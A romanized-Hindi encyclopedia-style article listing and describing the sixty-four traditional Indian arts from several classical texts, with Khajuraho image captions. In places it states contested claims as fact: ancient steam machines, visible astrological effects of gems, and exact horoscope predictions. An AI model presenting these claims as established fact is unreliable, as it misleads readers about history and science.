चौंसठ कलाएँ

1. REDIRECTsaancha:inhean bhi dekhean

[[chitr:Khajuraho-Madhya-Pradesh.jpg|thumb|250px|khajuraho, madhy pradesh]]

• prachin kal mean bharatiy shiksha-kram ka kshetr bahut vyapak tha. shiksha mean kalaoan ki shiksha bhi apana mahattvapoorn sthan rakhati thian kalaoan ke sambandh mean ramayan, mahabharat, puran, kavy adi granthoan mean janane yogy, samagri bhari p di hai; parantu inaka tho de mean, par sundar dhang se vivaran shukrachary ke 'nitisar' namak granth ke chauthe adhyay ke tisare prakaran mean milata hai. unake kathananusar kalaean anant haian, un sabake nam bhi nahian ginaye ja sakate; parantu unamean 64 kalaean mukhy haian.
• kala ka lakshan batalate hue achary likhate haian ki jisako ek mook (gooanga) vyakti bhi, jo varnochcharan bhi nahian kar sakata, kar sake, vah 'kala' hai.

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• keladi shribasavarajendravirachit 'shivatattvaratnakar' mean mukhy-mukhy 64 kalaoan ka namanirdesh is prakar kiya he-

1. itihas
2. agam
3. kavy
4. alankar
5. natak
6. gayakatv
7. kavitv
8. kamashastr
9. durodar (dyoot)
10. deshabhashalipijnan
11. lipikarp
12. vachan
13. ganak
14. vyavahar
15. svarashastr
16. shakun
17. samudrik
18. ratnashastr
19. gaj-ashv-rathakaushal
20. mallashastr
21. soopakarm (rasoee pakana)
22. bhooroohadohad (bagavani)
23. gandhavad
24. dhatuvad
25. rasasambandhi khanivad
26. bilavad
27. agnisanstambh
28. jalasanstambh
29. vach:stambhan
30. vay:stambhan
31. vashikaran
32. akarshan
33. mohan
34. vidveshan
35. uchchatan
36. maran
37. kalavanchan
38. svarnakar
39. parakayapravesh
40. paduka siddhi
41. vakasiddhi
42. gutikasiddhi
43. aindrajalik
44. aanjan
45. paradrishtivanchan
46. svaravanchan
47. mani-mantr aushadhadiki siddhi
48. chorakarm
49. chitrakriya
50. lohakriya
51. ashmakriya
52. mritkriya
53. darookriya
54. venukriya
55. charmakriya
56. ambarakriya
57. adrishyakaran
58. dantikaran
59. mrigayavidhi
60. vanijy
61. pashupaly
62. krishi
63. asavakarm
64. lavakukkut meshadiyuddhakarak kaushal

• vatsyayan pranit 'kamasootr' ke tikakar jayamangal ne do prakar ki kalaoan ka ullekh kiya hai-

1. 'kam shastraangabhoota'
2. 'tantravapaupayiki'.

• in donoan mean se pratyek mean 64 kalaean haian. inamean kee kalaean saman hi haian aur baki prithak. pahale prakar mean 24 karmashraya, 20 dyootashraya, 16 shayanopacharika aur 4 uttar kalaean,- is tarah 64 mool kalaean hai; inaki bhi avantar aur kalaean haian, jo sab milakar 518 hoti haian.

karmashraya 24 kalaoan ke nam is prakar haian- [[chitr:Khajuraho-13.jpg|thumb|250px|khajuraho, madhy pradesh]]

1. git
2. nrity
3. vady
4. kaushal-lipijnan
5. udaravachan
6. chitravidhi
7. pustakarm
8. patrachchhedy
9. malyavidhi
10. gandhayutsyasvadyavidhan
11. ratnapariksha
12. sivan
13. rangaparijnan
14. upakaranakriya
15. manavidhi
16. ajivajnan
17. tiryagyonichikitsit
18. mayakritapashandaparijnan
19. kri dakaushal
20. lokajnan
21. vaichakshany
22. sanvahan
23. sharirasanskar
24. vishesh kaushal

dyootashraya 20 kalaoan mean 15 nirjiv aur 5 sajiv haian. nirjiv kalaean ye haian-

1. ayu:prapti
2. akshavidhan
3. roop-sankhya
4. kriyamargan
5. bijagrahan
6. nayajnan
7. karanadan
8. chitrachitravidhi
9. goodharashi
10. tulyabhihar
11. kshipragrahan
12. anupraptilekhasmriti
13. agnikram
14. chhalavyamohan
15. grahadan

sajiv 5 kalaean ye haian-

1. upasthanavidhi
2. yuddh
3. root
4. gat
5. nritt

shayanopacharika 16 kalaean ye haian- [[chitr:Khajuraho-16.jpg|thumb|250px|khajuraho, madhy pradesh]]

1. purush ka bhavagrahan
2. svaragaprakashan
3. pratyangadan
4. nakh-dantavichar
5. nivistransan
6. guhyaangaka sansparshananulomy
7. paramarth kaushal
8. harshan
9. samanarthatakritarthata
10. anuprotsahan
11. mridukrodhapravartan
12. samyakkrodhanivartan
13. kruddhaprasadan
14. suptaparityag
15. charamasvapavidhi
16. guhyagoohan

4 uttarakalaean ye haian-

1. sashrupat raman ko shapadan,
2. svashapathakriya,
3. prasthitanugaman aur
4. pun:punarnirikshan. is prakar doosare prakar ki bhi sarvasadharan ke liye upayogini 64 kalaean haian.

• shrimadbhagavat ke tikakar shridharasvami ne bhi 'bhagavat' ke dasham skandh ke 45vean adhyay ke 64vean shlok ki tika mean pray: doosare prakar ki kalaoan ka namanirdesh kiya hai; kiantu shukrachary ne apane 'nitisar' mean jin kalaoan ka vivaran diya hai, unamean kuchh to uparyukt kalaoan se milati haian, par baki sabhi bhinn haian. yahaan par jayamangalatikokt doosare prakar ki kalaoan ka keval nam hi pathakoan ki janakari ke liye dekar usake bad 'shukranitisar' ke kramanusar kalaoan ka digdarshan karaya jayaga.
• jayamangal ke matanusar 64 kalaean ye haian-

1. git kala
2. vady kala
3. nrity kala
4. alekhy kala
5. visheshakachchhedy kala (mastak par tilak lagane ke liye kagaz, patti adi katakar akar ya saanche banana)
6. tandul-kusumabalivikar kala (dev-poojanadi ke avasar par tarah-tarah ke range hue chaval, jau adi vastuo tatha rangavirange phooloan ko vividh prakar se sajana)
7. pushpastaran kala
8. dashanavasanaangarag kala (daant, vastr tatha sharir ke avayavoan ko rangana)
9. manibhoomika-karm kala (ghar ke pharsh ke kuchh bhagoan ko moti, mani adi ratnoan se j dana)
10. shayanarachan kala (palang lagana)
11. udakavady kala (jalatarang)
12. udakaghat kala (doosaroan par hathoan ya pichakari se jal ki chot marana)
13. chitrashch yoga kala (j di-bootiyoan ke yog se vividh vastuean aisi taiyar karana ya aisi aushadhean taiyar karana athava aise mantroan ka prayog karana jinase shatru nirbal ho ya usaki hani ho),
14. malyagranthanavikalp kala (mala gooanthana)
15. shekharakapi dayojan kala (striyoan ki choti par pahanane ke vividh alankaroan ke roop mean pushpoan ko gooanthana)
16. nepathyaprayog kala(sharir ko vastr, abhooshan, pushp adi se susajjit karana)
17. karnapatrabhang kala (shankkh, hathidaant adi ke anek tarah ke kan ke abhooshan banana)
18. gandhayukti kala (sugandhit dhoop banana)
19. bhooshanayojan kala
20. aindrajal kala (jadoo ke khel)
21. kauchumarayog kala (bal-viry badhane vali aushadhiyaan banana)
22. hastalaghav kala (hathoan ki kam karane mean phurti aur safaee)
23. vichitrashakayooshabhakshyavikar-kriya kala(tarah-tarah ke shak, kadhi, ras, mithaee adi banane ki kriya)
24. panakaras-ragasav-yojan kala (vividh prakar ke sharbat, asav adi banana)
25. soochivan karm kala (suee ka kam, jaise sina, raphoo karana, kasida kadhana, moje-ganji bunana)
26. sootrakri da kala (tage ya doriyoan se khelana, jaise kathaputali ka khel)
27. vinadamarookavady kala
28. prahelika kala (paheliyaan boojhana)
29. pratimala kala (shlok adi kavita padhane ki manoranjak riti)
30. durvachakayog kala (aise shlok adi padhana, jinaka arth aur uchcharan donoan kathin hoan)
31. pustak-vachan kala
32. natakakhyayika-darshan kala
33. kavy samasyapooran kala
34. pattikavetravanavikalp kala (pidha, asan, kursi, palang, modhe adi chizean beant bagere vastuoan se banana)
35. takshakarm kala (lak di, dhatu adi ko abhashti vibhinn akaroan mean katana)
36. takshan kala (badhee ka kam)
37. vastuvidya kala
38. roopyaratnapariksha kala (sikke, ratn adi ki pariksha karana)
39. dhatuvad kala (pital adi dhatuoan ko milana, shuddh karana adi)
40. maniragakar jnan kala (mani adi ka rangana, khan adi ke vishay ka jnan)
41. vrikshayurvedayog kala
42. meshakukkutalavakayuddhavidhi kala (meandhe, murge, titar adi ko l dana)
43. shukasarika pralapan kala (tota-maina adi ko boli sikhana)
44. utsadan-sanvahan keshamardanakaushal kala (hath-pairoan se sharir dabana, keshoan ka malana, unaka mail door karana adi)
45. aksharamushti ka kathan (aksharoan ko aisi yukti se kahana ki us sanket ka janane vala hi unaka arth samajhe, doosara nahian; mushtisakeant dvara vatachit karana, jaise dalal adi kar lete haian),
46. mlechchhit vikalp kala (aise sanket se likhana, jise us sanket ko janane vala hi samajhe)
47. deshabhasha-vijnan kala
48. pushpashakatika kala
49. nimittajnan kala (shakun janana)
50. yantr matrika kala (vividh prakar ke mashin, kal, purje adi banana)
51. dharanamatrika kala (suni huee batoan ka smaran rakhana)
52. sanpathy kala
53. manasi kavy-kriya kala (kisi shlok mean chho de hue pad ko man se poora karana)
54. abhidhanakosh kala
55. chhandojnan kala
56. kriyakalp kala (kavyalankaroan ka jnan)
57. chhalitak yog kala (roop aur boli chhipana)
58. vastragopan kala (sharir ke aangoan ko chhote ya b de vastroan se yathayogy dhankana)
59. dyootavishesh kala
60. akarsh-kri da kala (pasoan se khelana)
61. balakri danak kala
62. vainayiki jnan kala (apane aur paraye se vinayapoorvak shishtachar karana)
63. vaijayiki-jnan kala (vijay prapt karane ki vidya arthath shastravidya)
64. vyayamavidya kala inaka vishesh vivaran jayamangal ne kamasootr ki vyakhya mean kiya hai.

[[chitr:Kandariya-Temple-Khajuraho-5.jpg|thumb|250px|left|kandariya mandir, khajuraho]]

• shukrachary ka kahana hai ki kalaoan ke bhinn-bhinn nam nahian haian, apitu keval unake lakshan hi kahe ja sakate haian; kyoanki kriya ke parthaky se hi kalaoan mean bhed hota hai. jo vyakti jis kala ka avalamban karata hai, usaki jati usi kala ke nam se kahi jati hai.
• pahali kala hai nrity (nachana). hav-bhav adi ke sath gati nrity kaha jata hai. nrity mean karan, aangahar, vibhav, bhav, anubhav aur rasoan ki abhivyakti ki jati hai. nrity ke do prakar haian- ek naty, doosara anaty. svarg-narak ya prithvi ke nivasiyoan ki kritika anukaran 'natay' kaha jata hai aur anukaran-virahit nrity 'anatay'. yah kala ati prachin kal se yahaan b di unnat dasha mean thi. shrishankar ka tandavanrity prasiddh hai. aj to is kala ka pesha karane vali ek jati hi 'katthak' nam se prasiddh hai. varsharritu mean ghanagarjana se anandit mor ka nrity bahutoan ne dekha hoga. nrity ek svabhavik vastu hai, jo hriday mean prasannata ka udrek hote hi bahar vyakt ho uthati hai. kuchh kalavid purushoan ne isi svabhavik nrity ko anyany abhinay-veshashoan se rangakar kala ka roop de diya hai. jangali-se-jangali aur sabhy-se-sabhy samaj mean nrity ka astitv kisi-n-kisi roop mean dekha hi jata hai. adhunik pashchattyoan mean nrityakala ek pradhan samajik vastu ho gayi hai. prachin kal mean is kala ki shiksha rajakumaroan tak ke liye avashyak samajhi jati thian. arjun dvara ajnatavaskal mean raja virat ki kanya uttara ko brihannala roop mean is kala ki shiksha dene ki bat 'mahabharat' mean prasiddh hai. dakshin-bharat mean yah kala ab bhi tho di-bahut vidyaman hai. 'kathakali' mean usaki jhalak milati hai. shri udayashankar adi kuchh kala premi is prachin kala ko phir jagrat karane ke prayatn mean lage hue haian.
• anek prakar ke vadyoan ka nirman karane aur unake bajane ka jnan 'kala' hai. vadyoan ke mukhyataya char bhed haian-

1. tat-tar athava taant ka jisamean upayog hota hai, ve vady 'tat' kahe jate haian- jaise vina, tamboora, sarangi, bela, sarod adi.
2. sushir- jisaka bhitari bhag sachchhidr (pola) ho aur jisamean vayu ka upayog hota ho, usako 'sushir' kahate haian- jaise baansuri, alagoja, shahanaee, baind, haramoniyam, shankh adi.
3. anaddh -cham de se madha hua vady 'anaddh' kaha jata hai- jaise dhol, naga da, tabala, mridang, daph, khanj di adi.
4. ghan- paraspar aghat se bajane yogy vady 'ghan' kahalata hai- jaise jhaanjh, manjhira, karatal adi. yah kala gane se sambandh rakhati haian bina vady ke gan mean madhurata nahian ati. prachin kal mean bharat ke vadyoan mean vina mukhy thi. isaka ullekh prachin sanskrit granthoan mean bhi upalabdh hota hai. sarasvati aur narad ka vina vadan, shrikrishna ki vanshi, mahadev ka damaroo to prasiddh hi hai. vady adi vishayoan ke sanskrit mean anek granth haian. unamean anek vadyoan ke pariman, unake banane aur marammat karane ki vidhiyaan milati haian. rajyabhishek, yatra, utsav, vivah, upanayan adi maangalik karyoan ke avasaroan par bhinn-bhinn vadyoan ka upayog hota tha. yuddh mean sainikoan ke utsah, shaury ko badhane ke liye anek tarah ke vady bajaye jate the.

• stri aur purushoan ko vastr evan alankar sucharoo roop se pahanana 'kala' hai.
• anek prakar ke roopoan ka avirbhav karane ka jnan 'kala' hai. isi kala ka upayog hanuman ji ne shriramachandrji ke sath pahali bar milane ke samay brahman-vesh dharan karane mean kiya tha.
• shaiyya aur astaran (bichhauna) sundar riti se bichhana aur pushpoan ko anek prakar se gooanthana 'kala' hai.
• dyoot (jooa) adi anek kri daoan se logoan ka manoranjan karana 'kala' hai. prachin kal mean dyoot ke anek prakaroan ke prachalit hone ka pata lagata hai. un sabamean akshakri da (chaup da) vishesh prasiddh thi. nal, yudhishthir, shakuni adi is kala mean nipun the.
• anek prakar ke asanoan dvara surat kri da ka jnan 'kala' hai. in sat kalaoan ka ullekh 'gandharvaved' mean kiya gaya hai.
• vividh prakar ke makarandoan (pushparas) se asav, mady adi ki kriti 'kala' hai.
• shaly (padadi aang mean chubhe kaante) ki pi da ko alp kar dena ya shaly ko aang mean se nikal dalana, shira (na di) aur pho de adi ki chir-pha d karana 'kala' hai. hakimoan ki jarrahi aur daktaroan ki sarjari isi kala ke udaharan haian.
• hiang adi ras (masale) se yukt anek prakar ke annoan ka pakana 'kala' hai. maharaj nal aur bhimasen jaise purush bhi is kala mean nipun the.
• vriksh, gulm, lata adi ko lagane, unase vividh prakar ke phal, pushpoan ko utpann karane evan un vrikshadi ka anek upadravoan se sanrakshan karane ki kriti 'kala' hai. prachin sanskrit granthoan mean suramy udyan, upavan adi ka bahut ullekh prapt hota hai. vishnudharmottarapuran, agni puran tatha shukranitiansar mean is vishay par bahut prakash dala gaya hai. isase maloom hota hai ki bahut prachin kal mean bhi yah kala unnat dasha mean thi.
• patthar, sone-chaandi adi dhatuoan ko (khan mean se) khodana, un dhatuoan ki bhasm banana 'kala' hai.
• sabhi prakar ke ikshu (eekh) se banaye ja sakanevale padarth- jaise rav, gu d, khaan d, chini, mishri, kand adi banane ka jnan 'kala' hai.
• suvarn adi anek dhatu aur anek aushadhiyoan ko paraspar mishrit karane ka jnan (sinathesis) 'kala' hai.
• mishrit dhatuoan ko us mishran se alag-alag kar dena (analisis) 'kala' hai.
• dhatu adi ke mishran ka apoorv (pratham) vijnan 'kala' hai.
• lavan (namak) adi ko samudr se ya mitti adi padarthoan se nikalane ka vijnan 'kala' hai. in das kalaoan ka ayurved se sambandh hai, isaliye ye kalaean ayurved ke antarbhoot haian. inamean adhunik baantani, gardaniang, mainiang, metalarji, kemistri adi a jate haian.
• pair adi aangoan ke vishisht sanchalanapoorvak (paitara badalate hue) shastroan ka lakshy sthir karana aur unaka chalana 'kala' hai.
• sharir ki sandhiyoan (jo doan) par aghat karate hue ya bhinn-bhinn aangoan ko khianchate hue do maloan (pahalavanoan) ka yuddh (kushti) 'kala' hai. is kala mean bhi bharat prachin kal se ab tak sarvashreshth raha hai. shrikrishna ne kans ki sabha ke chanoor, mushtik adi prasiddh pahalavanoan ko is kala mean pachha da tha. bhimasen aur jarasandh ki kushti kee dinoan tak chalane ka ullekh 'mahabharat' mean aya hai. aj bhi gama adi ke nam jagadvijayi malloan mean haian. panjab, mathura adi ke mall abhi bhi is kala mean achchhi nipunata rakhate haian. is yuddh ka ek bhed 'bahuyuddh' hai. isamean mallalog kisi shastr ka upayog n kar keval mushti se yuddh karate haian. ise 'mukki', 'kukkabazi' (bakasiang) kahate haian. kashi ke durga ghat par kartik mean hone vali mukki suprasiddh hai. bahuyuddh mean l dakar marane vale ki shukrachary ne ninda ki hai. ve likhate haian— 'bahuyuddh mean maranevale ko n to is lok mean yash milata hai, n paralok mean svarg-sukh. kiantu marane vale ka yash avashy hota hai; kyoanki shatru ke bal aur darp (ghamand) ka ant karana hi yuddh ka lakshy hota hai. isaliye pranant (shatru ke mar jane tak) bahuyuddh karana chahiye.

aise yuddh ka udaharan madhu-kaitabh ke sath vishnu ka yuddh hai, jo samudr mean paanch hazar varshoan tak hota raha tha—

madhukaitabhau duratmanavativiryaparakramau॥

krodharaktekshanavattuan brahmanan janitodyamau.
samutthay tatastabhyaan yuyudhe bhagavan hari:॥

panchavarshasahastrani bahupraharano vibhu:. (saptashati 1. 92-94)

• krit aur pratikrit adi anek tarah ke ati bhayankar bahu (mushti) praharoan se akasmat shatrupar jhapat kar kiye gaye aghatoan se evan shatru ko asavadhan pakar aisi dasha mean usako pak dakar rag d dene adi prakaroan se jo yuddh kiya jata hai, use 'nipi dan' kahate haian aur shatru dvara kiye gaye aise 'nipi dan' se apane ko bacha lene ka nam 'pratikriya' hai arthath apana bachav karate hue shatru par keval bahuoan se bhayankar aghat karate hue yuddh karana 'kala' hai.
• abhilakshit desh (nishane) par vividh yantroan se astroan ko pheankana aur kisi (bigul, turahi adi) vady ke sanket se vyooh rachana (kisi khas tariqe se sainy ko kh da karane ki kriya) karana 'kala' hai. isase pata chalata hai ki mantroan se pheanke jane vale astr- aj kal ke bandook, top, mashinagan, tarapi doan adi ki tarah-prachin kal mean bhi upayog mean laye jate rahe hoange. kiantu unase hone vali bhari kshati ko dekhakar unaka upayog kam kar diya gaya hoga. manu ne bhi mahayantr-nirman ka nishedh kiya hai.
• hathi, gho de aur rathoan ki vishisht gatiyoan se yuddh ka ayojan karana 'kala' hai. 18 se 22 tak ki paanch kalaean 'dhanurved' se sambandh rakhati haian.
• vividh prakar ke asan (baithane ka prakar) evan mudra (donoan hathoan ki aanguliyoan se bananevali aankush, padm, dhenu adi ki akritiyoan) se devataoan ko prasann karana 'kala' haian is kala par adhunikoan ka vishvas nahian hai, to bhi kahi-kahian isake janane vale vyakti paye jate haian. isaka prachin samay mean khoob prachar tha. sanskrit mean tantr evan agam ke anek granthoan mean mudra adi ka varnan dekhane mean ata hai. hipnotijm janane valoan mean kuchh mudraoan ka prayog dekha jata hai. ve mudra dvara apani shakti ka sankraman apane prayojy- vidhey mean karate haian.
• rath haankane ka kam (kochavani) evan hathi, gho do ko anek tarah ki gatiyoan (chaloan) ki shiksha dena 'kala' hai. isaki shiksha kisi samay mean sabhi rajakumaroan ke liye avashyak samajhi jati thi. yadi virat putr uttar is kala mean nipun n hote to jab duryodhan adi virat ki gauoan ka apaharan karane ke liye aye, us samay arjun ka sarathy ve kaise kar sakate the. bharat-yuddh mean shri krishna arjun ka rath kaise haank sakate ya karn ka sarathy shaly kaise kar sakate the. aj bhi shauqin log sarathi (draivar) ko pichhe baithakar svayan motar adi haankate hue dekhe jate haian.
• mitti, lak di, patthar aur pital adi dhatuoan se bartanoan ka banana 'kala' haian yah kala bhi is desh mean bahut purane samay se achchhi dasha mean dekhane mean ati hai. isaka anuman zamin ki khudaee se nikale hue prachin bartanoan ko 'vastu-sangrahalay' (myoojiyam) mean dekhane se ho sakata hai.
• chitroan ka alekhan 'kala' hai. prachin chitroan ko dekhane se pramanit hota hai ki yah kala bharat mean kis uchchakoti tak pahuanchi huee thi. prachin mandir aur bauddh viharoan ki moortiyoan aur ajanta adi gufaoan ke chitroan ko dekhakar ashchary hota hai. aj kee shatabdiyoan ke vyatit ho jane par bhi ve jyoan-ke-jyoan dikhalayi p date haian. unake rang aise dikhalayi p date haian ki jaise abhi karigar ne unaka nirmanakary samapt kiya ho. pratyek varsh hazaroan videshi yatri unhean dekhane ke liye door-door se ate rahate haian. prayatn karane par bhi vaise rangoan ka avishkar ab tak nahian ho saka hai. yah kala itani vyapak thi ki desh ke har ek kone mean ghar-ghar mean isaka prachar tha. ab bhi gharoan ke dvar par ganesh ji adi ke chitr banane ki chal pray: sarvatr dekhi jati haian kee samajik utsavoan ke avasaroan par striyaan dival aur zamin par chitr likhati haian. prachin kal mean bharat ki striyaan is kala mean bahut nipun hoti thian. banasur ki kanya usha ki sakhi chitralekha is kala mean b di siddhahast thi. vah ek bar dekhe hue vyakti ka bad mean hoobahoo chitr bana sakati thi. chitrakala ke 6 aang haian-

[[chitr:Kandariya-Temple-Khajuraho-2.jpg|thumb|250px|kandariya mandir, khajuraho]]

1. roopabhed (rangoan ki milavat)
2. praman (chitr mean doori, gaharaee adi ka dikhalana aur chitragat vastu ke aangoan ka anupat)
3. bhav aur lavany ki yojana
4. sadrishy
5. varnika (rangoan ka samanjasy)
6. bhang (rachana-kaushal). 'samaragannasootradhar' adi prachin shilpagranthoan mean is kala ka vishadaroop se vivaran upalabdh hota hai.

• talab, bavali, koop, prasad (mahal aur dev mandir) adi ka banana aur bhoomi (ooanchi-nichi) ka sam (barabar) karana 'kala' hai. 'sivil ianjiniyariang' ka isamean bhi samavesh kiya ja sakata hai.
• ghati (gh di) adi samay ka nirdesh karane vale yantroan ka nirman karana 'kala' hai. prachin kal mean samay ka map karane ke liye jalayantr, valukayantr, dhoop-gh di adi sadhan thean ab gh di ke ban jane se yadyapi unaka vyavahar kam ho gaya hai, tathapi kee prachin shaili ke jyotishi log ab bhi vivah adi ke avasar par jalayantr dvara hi sooryoday se isht kal ka sadhan karate haian. evan kee prachin rajaoan ki dyodhi par ab bhi jalayantr valukayantr ya dhoop-gh di ke anusar samay-nirdeshak ghanta bajane ki pratha dekhane mean ati hai. ashchary hai ki inhian yantroan ki sahayata se prachin jyotishi log sookshmatisookshm samay ke vibhag ka jnan spashtataya prapt kar liya karate the. aur usi ke adhar par bani janmapatrika se jivan ki ghatanaoan ka thik-thik pata laga liya jata tha.
• anek vadyoan ka nirman karana 'kala' hai.
• katipay rangoan ke alp, adhik ya sam sanyog (milavat) se bane vibhinn rangoan se vastr adi vastuoan ka rangana- yah bhi 'kala' hai. pahale yah kala ghar-ghar mean thi; kiantu isaka bhar, ab maloom hota hai, rangarejoan ke oopar hi chho d diya gaya hai. yahaan ke rang b de sundar aur tikaoo hote the. yahaan ke rangoan se range vastroan ka bahar ke deshoan mean b da adar tha. ab bhi rajapootane ke kee nagaroan mean aise-aise kushal rangarej haian ki jo mahin-se-mahin malamal ko donoan or se do vibhinn rangoan mean rang dete haian. jodhapur mean kap de ko sthan-sthan par baandhakar is tarah se rang dete haian ki usamean anek rang aur bel-boote baith jate haian.
• jal, vayu aur agni ke sanyog se utpann vashp (bhap) ke nirodh (rokane) se anek kriyaoan ka sampadan karana 'kala' hai— bhojadev (vi. san. 1066-98) krit 'samaraangan sootradhar' ke 31vean adhyay ka nam hi 'yantravidhan' hai. us adhyay mean 223.5 shlok haian, jinamean vilakshan prakar ke vividh yantroan ke nirman ki sankshipt prakriya ka digdarshan karaya gaya hai. isase to yah bat spasht riti se jani ja rahi hai ki prachin bharat ke logoan ko bhap ke yantroan ka jnan tha aur ve un yantroan se apane vyavaharik karyoan mean aj ki tarah sahayata liya karate the.
• nauka, rath adi jal-sthal ke avagaman ke sadhanoan ka nirman karana 'kala' hai. pahale ke log sthal aur yatayat ke sadhanoan ka- achchhe-se-achchhe upakaranoan se sampann ashv, rath, gau (bailoan) ke rath adi ka banana to janate hi the; sath hi achchhe-se-achchhe sudridh sundar, upayogi, sarvasadhanoan se sampann b de-b de jahajoan ka banana bhi janate the. jahajoan ke upayog ka varnan vedoan mean bhi milata hai. jahajoan par door-door ke deshoan ke sath achchha vyapar hota tha. jalayanoan se ane-jane vale mal par kar adi ki vyavastha thian pashchatyoan ki tarah yahaan ke mallah bhi b de sahasi aur yatra mean nidar hote the; kiantu pashchaty shasakoan ki kripa se anyany kalaoan ki tarah bharat mean yah kala bhi bahut kshin ho gayi hai.
• sootr, san adi tantuoan se rassi ka banana 'kala' hai.
• anek tantuoan se patabandh (vastr ki rachana) 'kala' hai. yah kala bhi bahut prachin samay se bharat mean b di unnat dasha mean thi. bharat mean 'eest indiya kampani' ke shasan ke pahale yahaan aise sundar, mazaboot, barik vastr banaye jate the, jinaki barabari ajatak koee doosara desh nahian kar saka hai. 'eest indiya kampani' ke samay mean yahaan ke vastr-nirman evan vastr-niryat ke vyavasay ko pashchaty svarthi vyapariyoan ne kee upayoan se nasht kar diya.
• ratnoan ki pahachan aur unamean vedh (chhidr) karane ki kriya ka jnan 'kala' hai. prachin samay se hi achchhe bure ratnoan ki pahachan tatha unake dharan se hone vale shubhashubh phal ka jnan yahaan ke logoan ko tha. grahoan ke anisht phaloan ko rokane ke liye vibhinn ratnoan ko dharan karane ka shastroan ne upadesh kiya hai. usake anusar ratnoan ko dharan karane ka phal aj bhi pratyaksh dikhalayi deta hai. par aj to bharatavarsh ki yah sthiti hai ki adhikaansh logoan ko un ratnoan ka dharan karana to door raha, darshan bhi durlabh hai.
• suvarn, rajat adi ke yathatmy (asalipan) ka janana 'kala' hai.
• nakali sone-chaandi aur hire-moti adi ratnoan ko nirman karane ka vijnan 'kala' hai. purane karigaroan ki batean sunane mean ati haian. ve kee vastuoan ke yog se thik asali-jaisa sona chaandi adi bana sakate the. ab to keval unaki batean hi sunane mean ati haian. ratn bhi prachin kal mean nakali banaye jate the. mishri se aisa hira banate the ki achchhe jauhari bhi usako jaldi nahian pahachan sakate the. isase maloom hota hai ki 'imiteshan' hira adi ratn tatha 'kalachar' motiyoan ka avishkar pashchatyoan ne kuchh naya nikala ho- yah bat nahian hai. kiantu yah bhi manana hi p dega ki us samay in nakali vastuoan ka vyavasay ajakal ki tarah adhik vistrit nahian tha. desh ke sampann hone ke karan unhean nakali vastuoan se apani shobha badhane ki avashyakata hi kya thi. par aj ki sthiti kuchh aur hai, isi se in padarthoan ka vyavahar adhik badh gaya hai.
• sone-chaandi ke abhooshan banana evan lep (mulamma) adi (minakari) karana 'kala' hai.
• cham de ko mulayam karana aur usase avashyak upayogi saman taiyar karana aur
• pashuoan ke sharir par se cham da nikalakar alag karana 'kala' hai. aj to yah kala bharat ke logoan ke hath se nikalakar videshiyoan ke hath mean chali gayi haian yahaan keval charmakaroan ke gharoan mean kuchh avashisht rahi hai; kiantu cham doan ko kamakar videshiyoan ke muqabale mean unhean mulayam karana nahian janate.

[[chitr:Khajuraho-21.jpg|thumb|250px|left|khajuraho, madhy pradesh]]

• gau, bhaians adi ko duhane se lekar dahi zamana, mathana, makkhan nikalana tatha usase ghi banane tak ki sab kriyaoan ka janana 'kala' hai. ise padhakar hriday mean du:kh ki ek tis uth jati hai. vah bharat ka saubhagy kal kahaan, jab ghar-ghar mean anek gauoan ka nivas tha, pratyek manushy is kala se abhijn hota tha, doodh dahi ki mano nadiyaan bahati thian, doodh ke pausare baithaye jate the- jahaan log pani ki tarah muft mean doodh pi sakate thean aur kahaan aj ka hatabhagy samay! ghi-makkhan ka to darshan door raha, bachchoan ko doodhi milana kathin hai. kahaan vah shrikrishna ke samay ka vraj vrindavan ka drishy, aur kahaan aj b de-b de shaharoan ke pas bane booch dakhanoan mean pratidin hazaroan ki sankhya man vadh kiye janevali gau mata aur unake bachchoan ka karun krandan.
• kurta adi kap doan ko sina 'kala' hai- sivane kanchukadinaan vijnanan tu kalatmakamh.
• jal mean hath, pair adi aangoan se vividh prakar se tairana 'kala' hai. tairane ke sath-sath doobate hue ko kaise bachana chahiye, thaka ya doobata hua vyakti yadi usako bachane ke liye aye vyakti ko pak d le, to vaisi sthiti mean kis tarah usase apane ko chhu dakar aur use lekar kinare par pahuanchana chahiye-ityadi batoan ka janana bhi bahut avashyak hai.
• ghar ke bartanoan ko maanjane ka jnan 'kala' hai. pahale yah kam ghar ki striyaan hi karati thian, aj bhi kee gharoan mean yahi chal hai; parantu ab b de gharanoan ki striyaan isamean apana apaman samajhati haian.
• vastroan ka sanmarjan (achchhi tarah dhokar saf karana) 'kala' hai.
• kshurakarm (hajamat banana) 'kala' hai. ajakal yah b di unnati par hai. ganga-yamuna ke ghatoan, bazaroan mean chale jaiye, apako is kala ka udaharan pratyaksh dekhane ko mil jayaga. koee padha-likha adhunik sabhy purush pray: aisa n milega, jisake ahnik mean apana 'kshurakarm' sammilit n ho!-vastrasammarjananchaiv kshurakarm hyubhe kale.
• til, tisi, rean di adi tilahan padarth aur maansoan mean se tel nikalane ki kriti 'kala' hai.
• hal chalana janana aur 49-pe doan par chadhana janana bhi 'kala' hai. hal chalana to krishi ka pradhan aang hi hai. pe doan par chadhana bhi ek kala hi hai. sabhi keval chahane matr se hi pe doan par chadh nahian sakate. khoojar, ta d, nariyal, supari adi ke pe doan par chadhana kitana kathin hai- ise dekhane vala hi jan sakata hai. isamean jara-si bhi asavadhani hone par mrityu yadi n ho to bhi aang bhang hona mamooli bat hai.
• manoanukool (doosare ki ichchha ke anusar usaki) seva karane ka jnan 'kala' hai. rajasevak, naukar, shishy adi ke liye is kala ka janana paramavashyak hai. is kala ko n jananevala kisi ko prasann nahian kar sakata.
• baans, ta d, khajoor, san adi se patr (tokari, jhaanpi adi) banana 'kala' hai.
• kaanch ke baratan adi saman banana 'kala' hai. maloom hota hai ki yah kala bharat mean prachin samay se hi thi, kiantu madhyakal mean yahaan se videshiyoan ke hath mean chali gayi. striyoan ka saubhagy chihn choo diyaan tak videshoan se ane lagian !
• jaloan se sansechan (achchhi tarah khetoan ko sianchana) aur
• sanharan (adhik jalavali ya daladalavali bhoomi mean se jal ko bahar nikal dalana athava door se jal ko avashyak sthan par le ana) 'kala' hai.
• lohe ke astr-shastr banane ka jnan 'kala' hai. 56-hathi, gho de, bail aur ooantoan ki pith-savari ke upayukt palyan (jin, kathi) banana 'kala' hai.
• shishuoan ka sanrakshan (palan) aur 58-dharan (poshan) karana evan
• bachchoan ke khelane ke liye tarah-tarah khilaune banana 'kala' hai— shisho: sanrakshane jnanan dharane kridane kala.
• aparadhiyoan ko unake aparadh ke anusar ta dan (dand dene) ka jnan 'kala' hai.
